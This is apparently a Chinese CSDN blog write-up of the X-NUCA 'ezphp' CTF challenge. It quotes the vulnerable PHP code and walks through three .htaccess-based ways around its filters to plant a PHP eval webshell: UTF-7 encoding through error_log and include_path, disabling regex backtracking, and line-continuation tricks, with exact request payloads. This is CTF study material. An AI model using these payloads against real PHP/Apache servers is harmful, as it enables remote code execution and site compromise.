.htaccess的深度骚姿势

apache所有漏洞复现 专栏收录该内容
5 篇文章 0 订阅

X-NUCA-ezphp
最近看这道wp的时候,收获颇丰。
因为中间件是apache,所以利用的.htaccess文件进行的解题,但此次对.htaccess文件的利用却与往常大不同
贴源码:

<?php
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

(对此道题目进行复现时,总想搭建成一个与题目环境一摸一样的环境,如对.htaceess文件不会删除对其他的会,还有一些支持的解析问题。没休的弄了两天,一直都各种样的问题。)
代码显示对非index.php文件进行删除,而这道题利用的前提是.htaccess文件并没有被删除。我猜测是因为.htaccess文件可以控制一些目录和文件的访问权限,不能删应该是你服务器的用户权限设定导致。
先来了解一下.htaccess:

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
htaccess是web服务器的一个配置文件,可以通过.htaccess文件实现web服务器中的文件的解析方式、重定向

阅读源码发现在开头结尾,都有删除文件的操作。代码中可以写文件,文件可以用 点号开头,因为中间件是apache遂考虑.htaccess文件。并且.htaceess文件在这里因为一些权限问题还不会被删除。并且文件开始还包含了一个从第二次访问就一定不会存在的文件。但是此时content中过滤了on,type,并且过滤了file,但常见的用htaccess去getshell大多数也是结合这两种方法,所以结合题目逻辑进行bypass.

第一种

关于include_path的小tip:

  • include_path是include()或require()等函数包含文件的默认路径,也就是说当我们去包含一个文件时,会先默认去include_path指定的路径去寻找,当没有找到时。则会以自身所在的路径为参考点去找,当再次没有找到时,会报错。报错信息里会有include_path的相关信息。

所以我们的大致思路就是,
先在.htaccess文件中去指定include_path的值为一个shell,并将error_log的值改为/tmp/fl3g.php此时在代码中因为没有找到fl3g.php信息会去报错,将报错信息写入/tmp/fl3g.php文件。执行完上步后去访问index.php此时shell会写到/tmp/fl3g.php。下一步我们重写.htaccess文件,inlcude_path为/tmp。这样当我们再次访问index.php时,就会先去/tmp文件下查找。从而包含执行我们的shell.
但是这里有两个小问题:
1.由于代码执行时会在我们的写入的文件内容里加上一段内容,并填到下行内。这就会造成我们的.htaccess文件报错。
.htaccess又不支持多行注释,我们可以用 # \来bypass。#是单行注释 \ 是连接上下行的意思。
2.将include_path中的shell写入到了fl3g.php后,<>会被html实体编码转义。.htaccess中编码绕过<?的过滤,可以用因此UTF-16,UTF-32等,但是此时只转义了<,可使用UTF-7编码来bypass <的过滤,结合php.ini的设置项.

写入文件:

index.php?filename=.htaccess&content=php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log  /tmp/fl3g.php%0d%0a%23 \
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value log_errors 1
php_value error_log /tmp/fl3g.php
# \

访问index.php,将shell写到/tmp/fl3g.php.
重写.htaccess:

/index.php?filename=.htaccess&content=php_value+zend.multibyte+1%0d%0aphp_value+zend.script_encoding+"UTF-7"%0d%0aphp_value+include_path+"/tmp"%0d%0a%23+\\
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp" # \

访问index.php?2= shell可执行。

第二种

if(preg_match("/[^a-z.]/", $filename) == 1) 而不是if(preg_match("/[^a-z.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content b64编码下就能绕过stristr。

php_value pcre.backtrack_limit    0
php_value auto_append_file    ".htaccess"
php_value pcre.jit   0
#aa<?php eval($_GET['a']);?>\

第三种

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,

例如写入这种:

php_value auto_prepend_fi\ 
le ".htaccess"   

参考了:
https://www.cnblogs.com/wangtanzhi/p/12296896.html
https://www.cnblogs.com/tr1ple/p/11439994.html

  • 1
    点赞
  • 3
    评论
  • 1
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 黑客帝国 设计师:白松林 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值